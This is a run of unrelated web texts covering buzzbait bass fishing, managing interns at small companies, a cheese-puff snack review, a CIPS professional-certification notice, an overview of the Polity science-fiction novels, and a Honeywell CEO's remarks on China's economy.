pointed toward the lure at 9 or 10 o'clock, and use a high-speed reel (retrieve ratio of 6:1 or higher) to keep the buzzbait skittering over the water's surface.During spring, check all cover objects in shallow water thoroughly with a buzzbait. Place each cast so the lure goes beyond the object. Then maneuver the lure so the blades scrape the log, stump, etc. on retrieve.A buzzbait can be very effective when retrieved at a slow, steady pace, but if bass ignore a dawdling lure, try racing the buzzbait, using an erratic retrieve that alternates between frantic and a crawl, or "porpoising" the bait with little jumps. Periodically slow the lure enough so it drops beneath the surface. These methods may produce when a steady retrieve won't.Bass often will stalk beneath a buzzbait and suddenly explode in your face as you lift the lure from the water. When this happens, react quickly. Jab your rod tip in the water and weave the buzzbait in a figure-eight pattern. Frequently, a mean old largemouth will turn right around and smash the lure. When it happens, it's like hooking a whale in the tail.Tie One OnIf you aren't using buzzbaits, you're missing one of the most exciting experiences in bass fishing. Nothing is more exhilarating than seeing, hearing and feeling a lunker largemouth exploding beneath a sputtering, spitting buzzbait. If your buzzbaits have been relegated to the "don't-fish" pile of lures, pull them out and put them back to work. The biggest mistake you'll ever make with a buzzbait is to leave it in your tacklebox. GET THE NEWSLETTER Join the List and Never Miss a Thing. Sign Me Up

When Interns Make Sense
They aren't just cheap labor. They also can bring new perspectives.
For small companies, interns can often seem like more trouble than they're worth.
Journal Report
Read the complete Small Business report.
Entrepreneurs often don't have a human-resources staffer dedicated solely to overseeing interns, so the boss or a manager must carve out time for them. And that means giving them hands-on guidance, not sticking them in the stockroom and then forgetting about them: Companies have an obligation to give interns a good learning experience, whether they're working for money or for school credit.
But that's only half the story. Interns also present a tremendous opportunity to entrepreneurs. Precisely because the business is so small, interns can have a real impact on the operation, contributing to important projects and bringing a fresh perspective and energy to old routines. Not to mention that businesses get all that free of charge, or at a fraction of the market cost.
So, how can you get the most out of your interns—and make a demanding management chore worth the effort? Here are some strategies from experts and entrepreneurs.
Lay Out Ground Rules
Start by spelling out clearly the kind of performance and behavior you'll expect. "When you have a small business, [a bad habit of] any additional person impacts the culture" and can throw an entire workplace off kilter, says Rachael Rice, the owner of Rice Consulting LLC, a 10-person political fund-raising consultancy in Bel Air, Md.
Be sure to address basics—everything from the dress code to how much heads-up you need before the intern takes time off.
To stress that you expect professionalism, make your interns feel like part of the company—an easy task in a small firm. Giving them their own desk, computer and phone, and adding their name and photo to the company website can quickly create a sense of belonging.
Figure Out Roles
Next, find out the interns' expectations and focus them. "Some come with broader ambitions that are misguided," says Noah Lapine, president of Lapine Inc., a 60-person distribution and promotions firm in Stamford, Conn. Interns, for instance, might think that because your firm is small, it's simple enough for them to run a department.
Mr. Lapine recalls one college intern who declared vaguely that he wanted to be "a senior manager." After some questioning and prodding, Mr. Lapine realized that the intern was in fact seeking broad exposure to the company's operations, so Mr. Lapine put him to work in several areas, including marketing, logistics and production.
Indeed, deciding where your interns should work and exactly what they should do can be the most challenging part of the process. If your interns are earning class credit, make sure you follow the school's requirements—both to be fair to the interns and to encourage the school to keep referring students to you in the future. For instance, some schools specify that interns spend no more than 20% of their time doing clerical tasks such as filing. School requirements can also give you ideas about how to use your intern: If the school says it will ask interns to describe what they learned about marketing, you'll want to put them in that area for at least part of the summer.
If your interns appear to be able to communicate effectively with customers, go ahead and let them do so. That task will give them actual experience in customer relations while helping you keep in touch with clients. At Lapine, interns have worked the phones to contact small accounts that are "low risk and low opportunity" but are nevertheless worth checking on, says Mr. Lapine. Other Lapine interns have made weekly reports to clients to update them on the status of lengthy projects.
Some interns can help with research. Ms. Rice has interns call potential venues for clients' fund-raising events to ask about rental cost, availability or the size of the ballroom. Besides obtaining necessary information, Ms. Rice says, the intern learns to be thorough and think quickly enough to ask follow-up questions.
Be a Role Model
Simply observing you in action can be valuable to interns, so bring them with you to trade shows and let them attend meetings with your staff, customers or outside partners. If interns are shadowing you for the day, you can help them learn even when you're doing desk work.
If, say, you're reviewing a contract, "describe everything you're thinking" out loud to give the intern a sense of what you're looking for, says Helen Thompson, chief executive of T2 Complete Business Services, a small-business consultancy in San Francisco.
Even if one of your staffers is supervising interns day to day, you as the top dog should carve out time to sit down with them regularly and discuss what they're learning, says David Lewis, CEO of OperationsInc, a human-resources consultancy in Stamford. The head of a big company probably doesn't have time to visit with interns, but in a small firm, the owner can and should be closer to them. "Your title means something to the intern," says Mr. Lewis. "That's valuable to him."
That type of one-on-one communication with you can help keep them engaged. "You don't want them to end up demotivated after two weeks and have them chuck it and go to work at Gap," says Mr. Lewis.
Ms. Lee is a writer in Belmont, Calif. She can be reached at firstname.lastname@example.com.

Snack Review
Buy cheese puffs on Amazon #ad
Taste test: These were basically cheese puffs in a sort of popcorn-like shape, rather than the usual cheese puff shape.
They were not very good, as the texture was very styrofoam-like, and there wasn't nearly enough cheese. The cheese level varied from one piece to the next, so some pieces had a decent level of cheese, but most still did not. Yet even the cheesy ones didn't feel right, as there was none of the melt-in-your-mouth feeling that you get from a good cheese puff. Instead, it was like biting into a light styrofoam or packing peanut.
Shop: Buy cheese puffs on Amazon #ad
Smell test: Very nice corn and cheese smell.
From the package: " 'Your complete satisfaction is our #1 goal' J.T. McGuire, President" ... "Allergy information: Manufactured in a facility that uses peanuts."

The grandparenting process of all I.S.P. holders into the new CIPS IITP aligned standard (and eventually the IITP standard) has now been completed. We have recorded those who have indicated they wish to opt out of the grandparenting.
Individuals who have applied for the I.S.P. prior to August 1, 2008 and who are successful in the application process will receive a form with their letter of approval allowing them to opt-out of the grandparenting.
The CIPS Marketing Committee in conjunction with the CIPS Professional Standards Committee is actively working on researching and agreeing to the most appropriate name for the new standard. The Canadian I.T. Professional name was used as an interim working title for the CIPS IITP aligned standard. This was necessary to allow us to communicate the new standard to I.S.P. holders and to seek accreditation status under the IP3 umbrella.
Although the grandparenting process has been completed, I.S.P. holders should not be using the Canadian I.T. Professional title or any acronym at this time. The formal title will be announced as soon as possible. Once the title has been decided, certificates will be made available to all eligible holders.
The formal CIPS IITP aligned standard application process will become available via the CIPS website in the coming weeks.
For more information, please contact Gina van Dalen, Manager Professional Standards at firstname.lastname@example.com or 905 486-1079.

Discover our edit of the best new sci fi books.
The Polity is a far future society run by artificial intelligences. In the early years of space travel, as we spread out into the solar system, the political make-up of humanity is a mixture of national and world (or moon) governments, and large corporations. However, these separate political entities – polities – employ AI for gain. During this time Iverus Skaidon, a scientist, directly links his mind to the AI Craystein Computer and invents underspace travel, just before his mind blows like a fuse. The invention of this faster-than-light travel results in a diaspora from the Solar System.
Many groups head out to the galaxy, usually in cryogenic storage in their ships, to set up numerous colonies. Shortly after this, the AIs take over in a relatively bloodless coup known as the Quiet War. During a renaissance, the second wave of humanity, guided by the AIs, spreads out into the galaxy (quite often running into that first wave). Skaidon's technology, whose naming template is based on the poems of Edward Lear, gives the nascent Polity the runcible: gateways for instantaneous travel between worlds.
The Polity started out in short stories in the small presses. I wanted a far future in which I could tell any story, and it grew organically without much in the way of a plan bar this. I create ecologies because the logic of the predator and its prey must be adhered to, though my preference is always for the most grotesque of the former. I visualize that 'technology indistinguishable from magic' and give it credence from heavy science reading. And I try to wrap all this up in stories you will enjoy and characters you'll care about. Here then are some of the stories I've told in the ever-expanding Polity.
And I will be telling more.
On a final note: the Polity is not all of it. In the Owner trilogy I tell the story of a near future and brutal dystopia, while in Cowl I venture into time-travel and a war across the ages between far future humans, to the beginning of life of Earth.
Agent Ian Cormac works for the Polity, embarking on investigative missions throughout the universe. But during these investigations, he uncovers a larger threat. Ancient Jain technology provides individuals with great power, even as it takes control of them. This is especially dangerous when the individuals are disenfranchised AI war machines – drones and warships – who have developed contempt for humanity.
Agent Cormac is sent to investigate a runcible disaster that killed thirty thousand people on the world of Samarkand, sinking it into an Ice Age. This was apparently caused by an alien entity called Dragon, a giant creature who might be older than human history – or a liar.
On the frontiers of human-occupied space, a space station has been destroyed. Suspecting the alien bioconstruct Dragon, Earth Central assigns Agent Ian Cormac to discover the truth. Meanwhile, civil war looms on the planet Masada, aided by lethal Jain technology.
An old nemesis of Agent Cormac resurfaces, along with the terrifying Mr Crane, a brass android killing machine. He journeys to the brutal world of Cull, tasked with hunting a 'dragon'. There, he discovers its low-tech citizens are assisted by an entity calling itself Dragon – but Agent Cormac isn't far behind.
Time travelling refugees arrive in Polity, pursued by something alien and dangerous. Meanwhile, Orlandine, an augmented human, hopes to harness Jain technology – even though it could destroy her. But the lethal technology is spreading, and Agent Cormac is determined to stop it.
The Polity worlds are under attack. A renegade AI has merged with Jain technology to become more powerful than before. And it attracts the Polity's most dangerous individuals: Mr Crane, seeking vengeance; Orlandine, who hunts a weapon; and Dragon, who is determined to wake the sleeping makers of Jain technology. Agent Cormac must risk everything to save the Polity.
Many centuries after the war, the leech-infested planet named Spatterjay is not part of the Polity but is a ward of the same. Here, living sails drape the spars of primitive sailing vessels. Old Captains, stronger than Polity Golem, sail the seas and contemplate their endless lives, while the ancient war drone Sniper looks for action. And a complex virus wages war on the planet's life forms, granting them immortality – and changing them forever.
On the savage ocean planet of Spatterjay, three travellers arrive. Erlin is immortal and seeks a reason to live. Janer hosts a hive mind – a tourist. And Sable Keech, a policeman who's been dead for seven hundred years, but still hunts the notorious criminal Spatterjay Hoop. But their lives are disrupted, as a centuries-old prador arrives, to exterminate witnesses to his own war crimes.
Taylor Bloc is a dead man walking, desperate to gain the secret of immortality. So he travels to Spatterjay to discover its secrets, retracing Sable Keech's journey across the wild seas. Erlin's solitude is disrupted, while Janer returns with forbidden weaponry. And in the deeps, an alien prador stirs, horribly transformed by Spatterjay's immortality virus.
Old Captain Orbus flees Spatterjay, escaping violence. And his alien enemy, the prador Vrell, has also moved on after the immortality virus mutated him into something even more dangerous. They clash in the Graveyard, a lawless zone where the prador have seized a key space station. But their actions will awaken an ancient intelligence, capable of annihilating entire civilizations . . .
The rogue AI Penny Royal, driven insane by orders no soldier should be forced to obey, is a dark presence in the Polity and the Graveyard. For payment, it transforms people into their ideal, but this is a cursed deal, as the transformations are grotesque. Thorvald Spear, resurrected after a hundred years, sets out intent on vengeance against this entity. But it seems Penny Royal might be atoning for previous sins. It follows a larger agenda, which leads back to the place where it lost its mind, and to a black hole.
Thorvald Spear wakes in hospital, resurrected from a war that ended a century ago. Penny Royal, the rogue AI on a rescue ship, annihilated friendly forces in a frenzy of destruction – and it's still free. So Spear hires Isobel Satomi, another of Penny Royal's victims, to take him to the rogue AI's last known whereabouts. But he cheats her in the process, sparking a quest for vengeance.
Thorvald Spear is losing his mind, after Penny Royal links Spear with the stored personalities of those it's murdered. He tracks it across a hostile starscape along with Sverl, an alien prador warped by the rogue AI. But Sverl's prador enemies aren't far behind. Enemies and allies converge on a defective war factory, Penny Royal's goal – and birthplace.
Several forces now pursue Penny Royal, including swarm-robot AI Brockle – the most dangerous of them all. He upgrades himself, becoming ever more powerful in anticipation of a showdown. Meanwhile, Thorvald Spear, Sverl and an assassin drone struggle to survive the war factory. And beyond it, a black hole conceals a tantalising secret, one which could destroy the Polity.
A corner of space swarms with Jain technology, a danger to all sentient life. Half AI, half human Orlandine has made it her life's work to contain and eventually obliterate it. Dragon shares her vigil, but fears she is being manipulated by some alien intelligence. Meanwhile, Polity and prador fleets watch this sector of space, as neither can allow the other to claim its power. Things are about to change. The Jain might not be as dead as they seemed and interstellar war is just a heartbeat away.
Orlandine keeps vigil over lethal Jain technology. She is hatching a plan to obliterate it, removing the threat forever. But enemies seek to stop her by activating a Jain super-soldier, which may breach her defences. And while she continues her quest, the Polity and prador are watching, each waiting for the other to strike . . .
Orlandine has destroyed the Jain super-soldier by deploying her weapon – a black hole. And now it hoovers up the lethal Jain technology within the accretion disc's event horizon. But Earth Central and the prador king know Orlandine was tricked into releasing her weapon – and fear the Jain may be behind it.
The incredible conclusion to the Rise of the Jain trilogy, The Human, is due to be published in April 2020. Expect epic conflicts in space, extraordinary aliens and impossible choices . . .
Many worlds beyond Earth are occupied by alien life, but alien intelligence seems harder to find. Polity scientists find the remains of ancient civilizations called the Atheter, Csorians and the Jain. But when they discover the prador – giant, hostile arthropods – the Polity are immediately thrust into war.
Ian Cormac is haunted by memories of a sinister scorpion-shaped war drone, and the burden of losses he cannot remember. He signs up with Earth Central Security, who send him to restore order in worlds devastated by prador bombardment. But old and new enemies dog his path to memory through the ruins left by wartime genocides. And he discovers in himself a cold capacity for violence.
On the world of Masada, the gabbleducks are strange animals who speak nonsense in human language. They are the devolved descendants of the Atheter, who deliberately sacrificed their intelligence to escape a millennia of war instigated by Jain technology. It seems that Jain technology is responsible for the destruction of the Atheter, the Csorians and the Jain themselves. But the dormant Atheter tech is about to awaken.
A cosmic super-string drifts into the system of Sudoria and Brumal, two planets locked in war. Packed with alien technology, it's stored in four segments within a maximum-security space station. There, a scientist falls pregnant and gives birth to quadruplets before committing suicide. By the war's end, one planet is devastated by the other's hilldigger weaponry – so named as their blasts create mountain ranges. When Polity ambassador McCrooger arrives, the quadruplets are powerful adults in post-war society. One of them has his sights set on claiming the hilldiggers for himself, but is his agenda his own?
This is a collection of short stories about some shadier corners of the Polity. Find out about the gabbleducks and hooders of Masada, ancient races and ancient technologies resurrected, and dangerous alien life forms – the hunters and the hunted.

Honeywell Chairman and CEO Dave Cote Discusses The Role of Emerging Economics with the Council on Foreign Relations
November 02, 2015
Honeywell Chairman and CEO, Dave Cote, recently participated in an interview at the Council on Foreign Relations with Rana Foroohar, Assistant Managing Editor, Economics and Business, Time Magazine; Global Economic Analyst, CNN. The discussion focused on the impact of emerging economies on the global economy, the political and economic environments of both China and India, the Trans-Pacific Partnership (TPP), monetary policies, and infrastructure. The session also featured a question and answer session from the audience, which was comprised of Council members, senior executives, and local media.
When discussing how China will be the 21st century economic story, Cote stated, "In the 21st century, we have a tendency to look at China sometimes like the Japan phenomenon and say, 'OK, Japan grew. Here's how it did it. And, this is what's going to happen in China.' I'm not sure that's the right parallel. I believe that when we get to the end of the 21st century, we could very well be saying that China was to the U.S. in the 21st century as the U.S. was to the U.K. in the 19th century. That could very well be the parallel. China's economy is the number two economy in the world now and thirty years ago they were the number 20 economy. I don't think they're going to keep growing at 8 percent, but there's a very good chance they will continue growing at 5 or 6 percent while the U.S. grows at 2 ½ percent. If you start to match up those curves or just run those curves out, you'll find that in 20 or 30 years, China will be the biggest economy in the world and still have a lower GDP per capita, meaning a lot more potential growth to come. I think that could be the 21st century story that gets written at some point. And, I just don't think we're paying that much attention to it as Americans."
This meeting was part of the Bernard L. Schwartz Lecture on Business and Foreign Policy and CEO Speaker series. The series focuses on two areas: the evolution of the relationship between business and government in the making of foreign policy, and ways for government to make better use of business in solving foreign policy problems and for business to become more engaged in the making of foreign policy. The Council on Foreign Relations (CFR) is an independent, nonpartisan membership organization, think tank, and publisher.
